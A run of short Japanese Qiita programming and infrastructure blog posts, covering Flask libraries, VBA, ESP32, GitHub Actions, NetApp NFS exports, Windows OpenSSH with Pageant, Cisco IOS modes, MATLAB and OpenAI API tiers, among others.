OmniAICreator/Qiita-1.07M huggingface dataset:
【超基礎から解説編】Flaskで音楽共有SNSを作る：必要なライブラリとモジュールの解説

## はじめに

Flaskを使って音楽共有SNSを作る際に必要なライブラリやモジュールについて、初心者にもわかりやすく解説します。これらの「道具」を理解することで、Webアプリケーション開発の基礎が身につきます。

## 目次

1. [ファイル操作と日時処理](#1-ファイル操作と日時処理)
2. [Flask関連のインポート](#2-flask関連のインポート)
3. [データベース操作](#3-データベース操作)
4. [ユーザー認証](#4-ユーザー認証)
5. [セキュリティ関連](#5-セキュリティ関連)
6. [フォーム処理](#6-フォーム処理)
7. [その他の機能](#7-その他の機能)
8. [まとめ](#まとめ)

## 1. ファイル操作と日時処理

```python
import os
from datetime import date, datetime, timedelta
```

- `os`: ファイルやフォルダを操作するための道具箱です。新しいフォルダを作ったり、ファイル名を変更したりするのに使います。
- `datetime`: 日付や時間を扱うための特別な道具です。今日の日付を取得したり、日付の計算をしたりするのに便利です。

## 2. Flask関連のインポート

```python
from flask import Flask, render_template, request, redirect, url_for, flash, jsonify
```

これらは、Webサイトを作るための主要な道具です：

- `Flask`: Webサイトの基本的な部分を作ります。
- `render_template`: HTMLテンプレートを使ってWebページを表示します。
- `request`: ユーザーからの情報（フォームデータなど）を受け取ります。
- `redirect`: 別のページに移動します。
- `url_for`: ページのURLを生成します。
- `flash`: ユーザーにメッセージを表示します。
- `jsonify`: データをJSON形式に変換します（APIを作る時に便利）。

## 3. データベース操作

```python
from flask_sqlalchemy import SQLAlchemy
from flask_migrate import Migrate
```

- `SQLAlchemy`: データベースを簡単に操作するための道具です。
- `Migrate`: データベースの構造を変更する際に使います。

## 4. ユーザー認証

```python
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
```

これらは、ユーザーのログイン機能を管理するための道具です：

- `LoginManager`: ログイン機能全体を管理します。
- `UserMixin`: ユーザーモデルに必要な基本的な属性やメソッドを提供します。
- `login_user`: ユーザーをログイン状態にします。
- `login_required`: ログインが必要なページを指定します。
- `logout_user`: ユーザーをログアウトします。
- `current_user`: 現在ログインしているユーザーの情報を取得します。

## 5. セキュリティ関連

```python
from werkzeug.security import generate_password_hash, check_password_hash
from werkzeug.utils import secure_filename
```

- `generate_password_hash`, `check_password_hash`: パスワードを安全に保存・確認するための道具です。
- `secure_filename`: アップロードされたファイル名を安全なものに変換します。

## 6. フォーム処理

```python
from flask_wtf import FlaskForm
from wtforms import StringField, SelectField, SubmitField, URLField
from wtforms.validators import DataRequired, URL, Length
```

これらは、Webフォームを簡単に作成し、バリデーション（入力チェック）を行うための道具です。

## 7. その他の機能

```python
import requests
from apscheduler.schedulers.background import BackgroundScheduler
from apscheduler.triggers.cron import CronTrigger
```

- `requests`: 他のWebサイトからデータを取得したり、APIにリクエストを送ったりするのに使います。
- `BackgroundScheduler`, `CronTrigger`: 定期的にタスクを実行するためのスケジューラです。

## まとめ

これらのライブラリやモジュールは、Webアプリケーション開発の様々な側面をカバーしています。ファイル操作、日時処理、データベース操作、ユーザー認証、セキュリティ、フォーム処理、外部APIとの連携、定期タスクの実行など、多岐にわたる機能を実現するための「道具」です。

プログラミングでは、これらの道具を適切に組み合わせることで、複雑な機能を持つWebアプリケーションを効率的に開発することができます。まさに、料理で様々な調理器具を使いこなすように、これらのライブラリやモジュールを使いこなすことで、素晴らしいWebアプリケーションを「調理」することができるのです。

次回は、これらの道具を使って実際にコードを書いていく過程を解説します。お楽しみに！

## 参考リンク

- [Flask公式ドキュメント](https://flask.palletsprojects.com/)
- [SQLAlchemy公式ドキュメント](https://docs.sqlalchemy.org/)
- [Flask-Login公式ドキュメント](https://flask-login.readthedocs.io/)
vbaで出力したファイルの文字コードをUTF-8にして出力する

```
Sub WriteTextToFileInUTF8()
    Dim filePath As String
    Dim textData As String
    Dim stream As Object

    ' マクロを実行したファイルと同じフォルダにファイルパスを指定
    filePath = ThisWorkbook.Path & "\output_utf8.txt"
    
    ' 書き込むテキストデータ
    textData = "This is a sample text written to the file in UTF-8."

    ' ADODB.Stream オブジェクトを作成
    Set stream = CreateObject("ADODB.Stream")
    
    ' ストリームの設定
    stream.Type = 2 ' テキストモード
    stream.Charset = "UTF-8" ' 文字コードをUTF-8に設定
    
    ' テキストを書き込み
    stream.Open
    stream.WriteText textData

    ' ファイルに保存
    stream.SaveToFile filePath, 2 ' 2は上書き保存を指定する定数

    ' ストリームを閉じる
    stream.Close
    
    ' オブジェクトの開放
    Set stream = Nothing

    MsgBox "Text has been written in UTF-8 to " & filePath
End Sub
```
ESP32: MicroPython で Lチカ

こちらのページを参考にしました。
[ESP32 で MicroPython その1 インストールからLチカまで](https://krr910183393.wordpress.com/2021/02/28/esp32-micropython-setup-led-blink/)

## プログラム

```py:main.py
import machine
import utime
ports=[32,33,25,26,27,14,12,13]
llx = len(ports)
led = []
for it in range(llx):
	port = ports[it]
	led.append(machine.Pin(port, machine.Pin.OUT))
while True:
	for it in range(llx):
	    led[it].value(1)
	    utime.sleep(1)
	    led[it].value(0)
	    utime.sleep(1)
```

## Thonny で実行

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/179446/4ebf6ff8-673e-650c-46e5-be5f8e332023.png)
IBM i RiSING (若手技術者コミュニティ）2024年 公開資料まとめ

2024/06～10に活動した、IBM i RiSING 若手技術者チームによる公開資料のまとめです。

## 2024.チームD

### [生成AIでFFRPGプログラムは生成できるのか？](https://qiita.com/2024_Rising_team_D/items/baf8ca7f49cde99067cf#%E7%94%9F%E6%88%90ai%E3%81%A7ffrpg%E3%83%97%E3%83%AD%E3%82%B0%E3%83%A9%E3%83%A0%E3%81%AF%E7%94%9F%E6%88%90%E3%81%A7%E3%81%8D%E3%82%8B%E3%81%AE%E3%81%8B)

### [PUB400での環境構築](https://qiita.com/2024_Rising_team_D/items/baf8ca7f49cde99067cf#pub400%E3%81%A7%E3%81%AE%E7%92%B0%E5%A2%83%E6%A7%8B%E7%AF%89)

## 2024.αチーム

### [【Index記事】IBM iのソース(RPGⅢ)をVSCode上で編集・コンパイル出来るようになるまで～](https://qiita.com/RiSING_alpha-team/items/842e7bb6d597e258d2b7)

## 2024.vaチーム

### [IBM i でVSCode開発](https://qiita.com/irising-va_testuser01)


## 2024.group3チーム

### [RPGⅢからRPGⅣ](https://qiita.com/group3-ibm)


## 2024.vbチーム

### [若手技術者のためのIBM i学習に対する「ChatGPT」活用方法](https://qiita.com/tamaday/items/9995c59bc0a540ca4719)

## 2024.v-eチーム

### [VSCode と RPG](https://qiita.com/ibmi-rising-team-v-e)
paizaラーニング問題集「【全探索 1】高い寿司を食いたい！」を解いてみた

https://paiza.jp/works/mondai/b_rank_new_level_up_problems/b_rank_new_level_up_problems__get_richer_sushi

▼考え方

連続するK枚の寿司の考え方について、以下に示します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3881331/4313c3c7-86e7-f68d-1079-635439d0732c.png)

▼コード
```py
########## 処理0(準備) インプット,リスト定義 ###########

N,K = map(int,input().split())

P = [0]*N
for i in range(N):
    P[i] = int(input())

# tmp_total: 連続するK枚の寿司の合計金額を格納する変数
tmp_total = 0

max_prime = 0

########## 処理1 連続するK枚の寿司の合計金額および最大値の計算、出力 ###########

for i in range(N):

    # j: 連続するK枚の寿司を走査する変数
    for j in range(i,i+K):
        if j > N-1:
            j -= N
        tmp_total += P[j]
    
    if tmp_total > max_prime:
        max_prime = tmp_total

    tmp_total = 0

print(max_prime)
```
スピンゆらぎ高分解能計算と時間依存交換相互作用

[talk](https://ecalj.sakura.ne.jp/jjj_spin2024dec6.pdf)

計算効率化の工夫をしてFeのスピンゆらぎを計算した図。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/482779/59a7b1e5-73a0-3108-6b84-e781c2eb9884.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/482779/3292e8fc-e9b3-4506-6498-44d817e48fde.png)昔の教科書

昔の教科書では磁場を入れた一様電子ガスでの計算であった。

スピン波ブランチもキレイに見えている。昔の教科書と少し違い、スピン波分岐はブロードになりつつ、ストーナー領域と反発的に混成しているように見える。ギルバートダンピング的なもの、すなわちスピン波の幅がみえている。ストーナードメインはストライプ状に複数に分割されている。これは複数のバンドのネスティングが関与している。はしご近似であり、スピン波の幅はストーナー励起への崩壊による幅である。

教科書では、ストーナー励起ドメインの下側部分のエネルギーでは虚部はゼロであり寿命が無限大である。しかし、実際には、upのフェルミ面とdownのフェルミ面は必ず交差する(証明は簡単？）。それゆえ、q=0であってもomega>0で虚部は存在する、これがスピン波の虚部を作る。kamberskyメカニズムはこれとは別の減衰メカニズムであり、マティーセン則の意味で加算していいかもしれないーしかし、このスピン波減衰機構が主要な減衰機構となりえる。（電荷ゆらぎにおけるプラズモン減衰機構でも同様のことが言える。あまりきちんと指摘されていない気がする）

これを[論文](https://journals.jps.jp/doi/abs/10.7566/JPSJ.90.094710?journalCode=jpsj)にしたがって解釈すると拡張ハイゼンベルグモデルの時間依存交換相互作用J(t-t')が得られる。
マイクロマグネティズムのパラメーターが直接に求まる($q \to 0$のところが重要なんだろう）。
計算しなくても実験的にhttps://tiisys.com/blog/2022/12/08/post-114423/2/
みたいなのがとれるなら、これから直接にJ(t-t')をだいたいは決めれるかもしれないな。
(J.Phys.Soc.Jpn.90,094710 (2021)の新規な点は、この高解像度計算に加えて、遅延性まで考慮してスピン運動方程式を考えましょうという点です）

たぶん、こんなにキレイに計算できているのは他にないです。
解像度をあげることでいろいろわかることがある。

この論文の議論を信じれば、$J(t-t')$によるスピンダイナミクスがストーナー励起をも含んだダイナミクスを与えるということになるという点がおもしろい。磁気モーメントのサイズがかなりリジッドなものであるとすれば、それでよいということになりえるし、縦ゆらぎをも考慮したダイナミクスもあり得る。
GitHub Actionsを活用したMarkdownファイルの追加検知

# はじめに

こんにちは、Gakken LEAP のバックエンドエンジニアの mizuno です。
GitHub Actionsを使用して、mainブランチにマージされたときに新しく追加されたMarkdownファイルをSlackに通知する仕組みを作成しようとしました。しかし、期待通りに通知が送られないことがありました。
具体的には、新規に追加されたファイルが、変更検知の対象にならないケースがありました。
そこで、ファイルの追加を確実に検知できるように、GitHub Actionsの`paths-filter`アクションを活用して修正しました。

## 修正前の実装

修正前は、以下のように`git diff`を使用してファイルの変更を検知していました。

```yaml
name: test
on:
  push:
    branches:
      - main

jobs:
  echo_diff_files:
    name: test
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v4
      - name: Markdown files
        run: |
          files=(`git diff --name-only HEAD^ HEAD | grep '\.md$' |tr '\n' ' ' `)
          for file in ${files[@]}; do
            echo $file
          done
```

### コマンドの動作概要

1. `git diff --name-only HEAD^ HEAD`
    - 最新のコミット（`HEAD`）とその一つ前のコミット（`HEAD^`）の間で変更されたファイルの名前をリストアップします。
2. `| grep '\.md$'`
    - 上記の変更ファイルリストから、Markdownファイル（拡張子`.md`）のみを抽出します。
3. `| tr '\n' ' '`
    - 改行文字をスペースに置き換え、1行の文字列としてファイル名を並べます。
4. `files=(...)`
    - コマンドの出力を取得し、配列`files`に格納します。

このコマンドで、直前のコミットが新規追加の場合には正常に動作しますが、
プルリクエストで運用している際に、新規作成されたファイルが複数回変更された場合、検知が正しく行われない問題がありました。

## paths-filterを使った修正

この問題を解決するために、[paths-filter](https://github.com/dorny/paths-filter) アクションを使用して、`main`ブランチへのプッシュ時にMarkdownファイルの追加を確実に検知するように変更しました。

### 修正後の実装

```yaml
name: test
on:
  push:
    branches:
      - main

jobs:
  echo_diff_files:
    name: test
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v4
      - name: filter paths
        uses: dorny/paths-filter@v3
        id: filter
        with:
          filters: |
            markdown:
              added: '*.md'
          list-files: shell
      - name: Markdown files
        if: ${{ steps.filter.outputs.markdown == 'true' }}
        run: |
          for file in ${{ steps.filter.outputs.markdown_files }}; do
            echo $file
          done
```

### paths-filterの動作概要

1. `dorny/paths-filter@v3`
    - このアクションを使用して、指定したパターン（今回は`*.md`）に一致するファイルが追加されたかどうかを検知します。
2. `filters`オプション
    - `added: '*.md'`と指定することで、新しく追加されたMarkdownファイルに絞ってフィルタリングします。
3. `steps.filter.outputs.markdown_files`
    - フィルタに一致したファイルリストを取得し、後続のステップで処理します。

# まとめ

`git diff`を使った変更検知ではプルリクエスト経由の運用においてうまく動作しないケースがあったため、
`paths-filter`アクションを使用することで、ファイルの追加を確実に検知できるように修正しました。
これにより、新規追加されたMarkdownファイルを後続の処理でSlackに通知にすることが可能になりました。

# エンジニア募集

Gakken LEAP では教育をアップデートしていきたいエンジニアを募集しています。
ぜひカジュアル面談でお話できればと思います。
<https://gakken-leap.co.jp/recruit/>
NetApp NFS mount deny

[達成したいこと]
ESXiサーバからNetAppのボリュームにNFSでマウントしたい

[おきた現象]
NFSでマウントが拒否された


[現象がおきたときのNetAppの設定]
・マウント対象のボリュームには0.0.0.0/0（なんでもあり）のエクスポートルールが入ってるポリシーを割り当てている
・SVMのrootボリュームにはdefault のポリシーを割り当てているが、ルールはなし。（つまり全拒否）

[NFSがマウントできたときのNetAppの設定]
・SVMのrootボリュームにはdefault のポリシーに0.0.0.0/0のルールを追加した。

[原因考察]
・該当ボリュームのジャンクションパスへのアクセス権（ポリシー）は割り当てたが、/（ルート）へのアクセス権（ポリシー）がなかったため、そもそもルートへのアクセスで拒否されると、配下のボリュームへマウントもできない
Windows の OpenSSH で認証できなくなった話

Windows がアップデートされたことで、今まで動いていた構成が急に動かなくなりました。
なぜこうなったのか、どうやって解決したか記録しておきます。

## こんな構成にしていた

できるだけ Microsoft が提供しているものを使う・それ以外は Pageant だけ、という構成にして運用していました。

```
+-------------------------------------------------------------+
| Windows                                                     |
|   VSCode                                                    |
|     Remote SSH                                              |
|       ssh.exe (Windows搭載) --- Pageant                     |
|         |  .ssh/config           --openssh-config オプション |
|         |     pageant.conf <---------+                      |
+---------|---------------------------------------------------+
          |
+---------|--------------------------+
| Linux  sshd                        |
|   ここにあるファイルを VSCode で編集 |
+------------------------------------+
```


## 起きた問題と解析

ある日突然（ユーザはこれを「何もしていないのに」と言う）、VSCode で Linux サーバのファイルを見ようとしたところ SSH 接続ができなくなりました。
VSCode の エラーメッセージは `Could not establish connection to "xxx.example.com".` というものでした。
OUTPUT では `プロセスが、存在しないパイプに書き込もうとしました。` というエラーが出ていました。

- `(get-childitem \\.\pipe\).FullName` で確認したところ、pipe は作成されている
  - pipe 名は `\\pipe.\pageant.(ユーザ名).(ランダム文字列)`
- pageant.conf には同じ pipe 名が書き込まれている
- ssh.exe -vvv で接続して詳細を確認
  - `debug3: unable to connect to pipe \\.\\pipe\\pageant.(ユーザ名).(ランダム文字列), error: 3`
- Windows の OpenSSH がアップデートされたことを知っていたので、OpenSSH 8.6p1（Windows アップデートがあたっていないマシンの ssh.exe を持ってきた）で接続したところ、問題なく接続できる

OpenSSH 8.6p1 では Pageant に接続できてリモートに接続できる、9.5p1 だと Pageant に接続できないためリモートに接続できない、という状況がわかりました。

また、ssh.exe が表示するパイプ名だけ、`.` 以降の `\` が重複していることに気づいて調べていったら GitHub に issue を見つけました。
https://github.com/powershell/win32-openssh/issues/1949#issuecomment-2404790143
PuTTY 0.79 から、使われる記号が `\` から `/` に変更されたそうです。
使っていた Pageant は 0.78 のものでした。

## まとめ

### 原因1. Windows の OpenSSH がアップデートされた

[2024年10月のセキュリティ更新プログラム](https://msrc.microsoft.com/update-guide/releaseNote/2024-Oct)で OpenSSH にアップデートが入り、OpenSSH のバージョンが 8.6p1 から 9.5p1 に上がりました。

```
Before
OpenSSH_for_Windows_8.6p1, LibreSSL 3.4.3
2022-05-06 23:15
1,073,152 bytes

After
OpenSSH_for_Windows_9.5p1, LibreSSL 3.8.2
2024-10-09 09:07
1,243,648 bytes
```

OpenSSH 8.9 でパスの区切り記号の扱いが変更されたものと思われます。（後述の PuTTY のコミットログによる）

### 原因2. 使っていた Pageant が古かった

Pageant 0.79 でパイプ名の区切り記号が[変更](https://git.tartarus.org/?p=simon/putty.git;a=commit;h=f9d09f41d1b044f690af173d648b0339cfc45a13)されました。これは OpenSSH の変更への対策のようです。
Pageant を 0.78 のものから最新 (0.81) のものにしたら、pageant.conf ファイルに出力されるパイプ名が `//pipe./pageant.(ユーザ名).(ランダム文字列)` になりました。
OpenSSH 9.5p1 の ssh.exe（Windows のもの）からサーバに接続できるようになりました。

### 動作する/しない組み合わせ

| OpenSSH \ Pageant | -0.78 | 0.79- |
|---|---|---|
| 8.6p1  | OK | OK  |
| 9.5p1  | NG  | OK  |

## おわりに

導入が簡単になるよう、できるだけ Microsoft が提供するものを使っていました。
それでも Windows アップデートによりバージョンが上がり、バージョンの組み合わせによる問題が起きるものだな、という経験をしました。
App RunnerからCognitoへ接続時にx509: certificate signed by unknown authorityが発生

## 事象
App RunnerからCognitoへ接続しようとした時に、`x509: certificate signed by unknown authority` が発生

## 前提
App Runnerにイメージをコンテナデプロイしている

## 原因

App RunnerがCognitoのSSL証明書を検証できなかった。
App RunnerにCA証明書(ルート証明書)がインストールされていなかったため。

App Runnerは、ベースイメージ `scratch` でdeployしていたため、証明書が含まれていなかった。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/52335/7c288714-4f99-fcc7-9bbc-0c35c1a98ca6.png)



## 対応
```Dockerfile
FROM alpine:latest
RUN apk --no-cache add ca-certificates
```

イメージはalpineでなくても証明書を入れられればOK


## おまけ
証明書周りちゃんと理解できていなかったのでmemo

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/52335/d27b1283-d4e6-f118-db1d-8ce891315fea.png)
Minecraft Bedrock(統合版)のアドオン開発で便利なサイトまとめ

## 1 [Script API References](https://jaylydev.github.io/scriptapi-docs/)
Script APIのドキュメントを非常に分かりやすく表示してくれるサイト。情報はnpmでインストールできる@minecraft/serverやuiと同じだと思うが、サンプルコードなども見やすく、検索も簡単に出来るので重宝する。

## 2 [Microsoft 公式のドキュメント (日本語版)](https://learn.microsoft.com/ja-jp/minecraft/creator/)
Script API以外にもクリエイターに役立つ様々なチュートリアルがあり、開発に慣れていない時はお世話になった。たまに新しく更新されているが、古い情報のものもあるので、参考にする際は記事の更新日時を確認しておくといい。

## 3 [Microsoft 公式のドキュメント (英語版)](https://learn.microsoft.com/en-us/minecraft/creator/?view=minecraft-bedrock-stable)
日本語版よりも書いてある情報が多く、比較的記事も新しい。開発に慣れてきたらこちらの方が役立つ。

## 4 [クラフターズコロニー](https://minecraft-mcworld.com/)
アドオンや配布ワールドなどが配布されているサイト。ただでさえ情報の少ない分野なので、配布されているアドオンは非常に参考になる。また、数は少ないがScript APIについて解説している記事もある。

## 5 [Bedrock Wiki](https://wiki.bedrock.dev)
海外のアドオン制作についての情報がまとめられているサイト。古い情報もあるので注意が必要。このサイトのサンプルコードはまともに動かないことが多い。

## 6 [mcpedl](https://mcpedl.com/category/addons/)
海外の配布サイト。よく分からない技術が使われていることが多く、こちらも参考になる。

## 7 [公式 Bedrock Add-On Sample Files](https://github.com/Mojang/bedrock-samples)
公式のBehavior PackとResource Packがある。一部同梱されていないものもあるが、アドオン開発で非常に役に立つ。

## 8 [minecraft-scripting-samples](https://github.com/microsoft/minecraft-scripting-samples)
Script APIのサンプルコードが盛り沢山のリポジトリ。

## 9 [マイクラの泉](https://minecraft.lflab.work/)
アドオンやScript APIについての解説が書かれたサイト。最近は更新が止まってしまっているが、今から始める人にはとても役立つ知識が盛り沢山。

## 10 [とかさんのブログ](https://tokamcwin10.blog.jp/)
いろんな技術がまとめられたブログ。Toka ToolsにはManifest GeneratorなどのJson生成系が集まっているので、こちらもオススメ。

## 11 [MinecraftBEアドオン-ヒント倉庫](https://9469293183.amebaownd.com/)
少し古いがコアな情報がある。こんなのが欲しかったんだよ！ってやつが見つかるかもしれない。
[tips][cpp][Problemsolver] 一意制約のあるデータ構造set

今回もtipsです。

積集合とかの集合演算をcppでパッと使いたい時用です。

## `<set>`の一意制約について

setは重複を許さない順序付き集合です。例えば、{3, 1, 4, 1}で初期化すると、内部では、{1,3,4}のように格納されます。

```cpp
#include <algorithm>
#include <iostream>
#include <iterator>
#include <set>
using namespace std;
int main() {
  // 初期値
  set<int> C{3, 1, 4, 1};
  for (int c : C) {
    cout << c << " ";
  }
}
```

output
```cpp
1 3 4 
```

## 集合の積

関数`set_intersection()`を使って積集合を作ります。(`#define all(a) a.begin(), a.end()`と定義しておくと便利です。)

{1, 2, 3, 4}と{4, 5, 6, 2}の積集合は{2, 4}です。次のように作ります。

```cpp
#include <algorithm>
#include <iostream>
#include <iterator>
#include <set>
#define all(a) a.begin(), a.end()
using namespace std;
int main() {
  set<int> A = {1, 2, 3, 4};
  set<int> B = {4, 5, 6, 2};
  set<int> Result;

  // AとBの積集合を作る
  set_intersection(all(A), all(B), inserter(Result, Result.end()));
  for (int r : Result) {
    cout << r << " ";
  }
}
```

output
```cpp
2 4 
```

## 集合として等しいかの判定

集合として等しいかどうかは、重複を許さない順序付き集合なので、`std::equal()`を使用するか`==`で比較すれば良いです。

```cpp
#include <algorithm>
#include <iostream>
#include <iterator>
#include <set>
#define all(a) a.begin(), a.end()
using namespace std;

int main() {
  set<int> E = {1, 2, 3, 4};
  set<int> F = {1, 2, 3, 4};
  set<int> G = {1, 2, 3, 4, 5};

  if (equal(all(E), all(F))) cout << "Equal" << endl;
  if (E == F) cout << "Equal" << endl;
  if (equal(all(E), all(G))) cout << "Not Equal" << endl;//表示されません
  if (E == G) cout << "Not Equal" << endl;//表示されません
```

~~※もっといい方法知ってる人いたら教えてください。~~
上記、教えてもらいました。コメントありがとうございます。



# 備考

積集合は`set<int>`は`multiset<int>`と書いても演算できますが、`multiset<>`は重複を許す集合なので注意です。
【ネットワーク機器基礎 #2】Cisco IOSモードについて

# 目次
1．ユーザEXECモード
2．特権EXECモード
3．グローバルコンフィギュレーションモード
4．インターフェイスコンフィギュレーションモード
5．ルーティングコンフィギュレーションモード
6．ラインコンフィギュレーションモード

<!-- リスト -->
<table>
  <caption>Cisco IOS モード</caption>
  <thead>
    <tr>
      <th>モード名</th> <th>プロンプト</th>
      <th>説明</th>
    </tr>
  </thead>
  
  <tr>
    <td> ユーザEXECモード </td> 
    <td> > </td>
    <td> 機器のステータスを確認できるモード</td>
  </tr>
  
  <tr>
    <td> 特権EXECモード </td> 
    <td> # </td>
    <td> 制限なく機器の動作やステータスを確認できるモード。
         ファイルの操作なども可能
    </td>
  </tr>

  <tr>
    <td> グローバルコンフィギュレーションモード </td>
    <td> (config)# </td>
    <td> 機器全帯にかかわる設定を行うモード </td>
  </tr>

  <tr>
    <td> インターフェイスコンフィギュレーションモード </td> 
    <td> (config-if)# </td>
    <td> インターフェイスに関する設定を行うモード </td>
  </tr>

  <tr>
    <td> ルーティングコンフィギュレーションモード </td>
    <td> (config-router)# </td>
    <td> ルーティングに関する設定を行うモード </td>
  </tr>

  <tr>
    <td> ラインコンフィギュレーションモード </td> 
    <td> (config-line)# </td>
    <td> ライン（コンソール,AUX,VTY）に関する設定を行うモード 
    </td>
  </tr>
  
</table>

<!-- 各モードの説明 -->

## 1．ユーザEXECモード
接続方法に問わず最初のモード（コンソール,AUX,VTYなど）
制限があり、確認できないモードもある
そのため、制限なく機器のステータスを確認する場合は、**特権EXECモード**に移行する必要がある

```:コマンド
>enable
```

実行すると以下のプロンプトの状態になる

```:コマンド
Router > enable
Router #
```
※今回ルータのホスト名は「Router」である

## 2．特権EXECモード
機器のステータスを制限なく確認できるモード
設定ファイルの操作も可能
あくまで確認を行うモードのため、設定変更を行う場合は**グローバルコンフィギュレーションモード**に移行する

```:コマンド
# configure terminal

または

# conf t
```

実行すると以下のプロンプトの状態になる

```:コマンド
Router # conf t
Router (config)#
```

## 3．グローバルコンフィギュレーションモード
機器全般にかかわる設定を行うモード
AD変換に使える量子化器MATLAB/Simulinkでの実装


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3759109/8ccd227d-32cb-2f83-816e-339a259a6129.png)


```
function [V_out, V_out_inverted, LSB] = stair_filter(V_in, V_min, V_max)
    % stair_filter: 入力電圧をN段階に量子化し、その反転と1 LSBを追加
    % V_in: 入力電圧 (スカラーまたはベクトル)
    % V_min: 最小電圧（グラウンド電圧）
    % V_max: 最大電圧（電源電圧）
    % V_out: 量子化された出力
    % V_out_inverted: 量子化された出力を反転させたもの
    % LSB: 1 LSBの値

    % Nを8に固定
    N = 8;

    % 各段階の幅（1 LSB）を計算
    LSB = (V_max - V_min) / (N - 1);

    % 入力電圧が0のときは出力も0に設定
    if V_in == 0
        V_out = V_min;
    else
        % 入力電圧をN段階に丸める
        V_out = round((V_in - V_min) / LSB) * LSB + V_min;

        % 出力が範囲外にならないように制限
        V_out = min(max(V_out, V_min), V_max);
    end

    % 反転させた出力を計算
    V_out_inverted = -V_out;
end
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3759109/a750f6e3-47ae-adbc-7af4-6adddf2a9aa2.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3759109/fa9ce111-f3b5-c1ab-00e7-6f7a13775d3a.png)



おまけ
```
function [binary_output, reference_voltage, DA_output] = DA_conversion(A1, A2, A3, A4, VDD)
    % バイナリ出力の計算
    binary_output = (A1 * 2^0) + (A2 * 2^1) + (A3 * 2^2) + (A4 * 2^3);
    
    % 参照電圧の計算
    reference_voltage = VDD / (2^4 - 1);
    
    % DA出力の計算
    DA_output = reference_voltage * binary_output;
end




```
【OpenAI】o1-preview（と o1-mini）の API の利用条件が「Tier 5 ⇒ Tier 3 〜 5」になっている話と Tier の公式情報

## 【2024/11/20 追記】 利用条件がさらに緩和

:::note warn
公式から以下のポストがされていて、Tier 1 で使えるようになったようです。
（※ all paid usage tiers と書かれている）
:::

https://x.com/OpenAIDevs/status/1858609150999359559

## はじめに

OpenAI の公式情報で、記事執筆時点では「（__API利用条件は Tier 3、4 と 5 のいずれか__）Only Usage Tier 3, 4 and 5 API accounts can access the o1-preview and o1-mini API models」と書いてある、「__o1-preview と o1-mini の API利用条件の話__」です。

以下、公式ページ内の関連する部分の抜粋です。

●OpenAI o1-preview and o1-mini Usage Limits on ChatGPT and the API | OpenAI Help Center
　https://help.openai.com/en/articles/9824962-openai-o1-preview-and-o1-mini-usage-limits-on-chatgpt-and-the-api

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50868/eadc17a1-d7ac-b2f0-8233-e16234ec3b58.png)

それと、Tier の公式情報についても、合わせて見てみようと思います。

## o1-preview と o1-mini の API の利用条件
### 当初の条件では Tier 5 のみ
o1-preview と o1-mini がリリースされたタイミングでは、「API利用の条件は Tier 5」となっていました。

https://x.com/OpenAIDevs/status/1834278699388338427

自分は、そのリリース当初の条件のままだと認識していました（その後の状況を、特には確認しておらず）。
しかし、どうやら現在では冒頭にも書いたとおり、 __API利用条件は Tier 3、4 と 5 のいずれか__ となっているようです。

ちなみにこの情報は、[先日、ブラウザ上での AI・機械学習の話で登壇](https://speakerdeck.com/you/sakura-ai-vol4)したイベント、さ[『#さくらのAI Meetup vol.4「ブラウザ」』](https://sakura-tokyo.connpass.com/event/331387/)の懇親会で、色々と AI・機械学習まわりの話をしている中で聞いた話です。

あらためて、X上の公式情報を追ってみると、以下の時点で Tier 4 へも拡大していたようでした。

https://x.com/OpenAIDevs/status/1838611640201162807

そして、10/2 には Tier 3 でも使えるようになっていたようです。

https://x.com/OpenAIDevs/status/1841176573527077235

### Tier とレートリミットについて
Tier の詳細について、公式で情報が書いてあるのがどこか、というのをきちんと把握してなかったので、検索して見てみました。

例えば、以下の部分に Tier に関する記述があります。
ここには、レートリミットの話が書いてあり、それと合わせて Tier の話も書いてあります。

●Rate limits - OpenAI API
　https://platform.openai.com/docs/guides/rate-limits/usage-tiers

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/50868/f2668a23-0919-2711-8cb7-76b0aaec9ffd.png)

Tier 3 と 5 の部分を抜き出すと以下のとおりです。

| Tier | Qualification | Usage limits |
| --- | --- | --- | 
| Tier 3 | $100 paid and 7+ days since first successful payment | $1,000 / month |
| Tier 5 | $1,000 paid and 30+ days since first successful payment | $200,000 / month |

当初と比べて o1-preview と o1-mini の API利用のハードルはずいぶん下がりましたが、ちょっと試してみたいというくらいだと、個人的にはまだ少し悩ましいところかなと思ったりもしました。
Pythonのアップデートがあったときにすること

<!-- Pythonのアップデートがあったときにすること -->

## はじめに

2024年10月になり、Pythonのアップデートがありました。

[Python Release Python 3.13.0 | Python.org](https://www.python.org/downloads/release/python-3130/)

Pythonをアップデートするときにすることを覚書しておきます。

## アップデート前に

まずは現行のPythonで使っているパッケージを控えておきます。なぜかというと、Pythonのアップデートをすると、パッケージを再インストールする必要があるからです。

まず、以下のコマンドで、現在インストールされているパッケージを最新のものにアップデートします。こうしないと、アップデート後にパッケージがインストールされないことがあります。ちなみに、```pip-review```がない場合は、```pip install pip-review```でインストールできます。

```bash
pip-review --auto
```

これによって、現在インストールされている全てのパッケージが最新のものにアップデートされます。その後、以下のコマンドで、現在インストールされているパッケージをrequirements.txtに書き出しておきます。

```bash
pip freeze > requirements.txt
```

次は、Pythonのアップデートを行います。

## Pythonのアップデート

まず、上記のリンクなどから最新のPythonインストーラをダウンロードします。

インストーラを起動し、Pythonの最新版をインストールします。「Add Python to PATH」にチェックを入れることを忘れないようにします。

インストールが完了したら、コマンドプロンプトを開いて、以下のコマンドを実行します。

```bash
python --version
```

これでバージョンが最新のものになっていたら、Pythonのアップデートは完了です。

## pipのアップデート

まず、以下のコマンドを実行して、pipを最新のものにアップデートします。

```bash
python -m pip install --upgrade pip
```

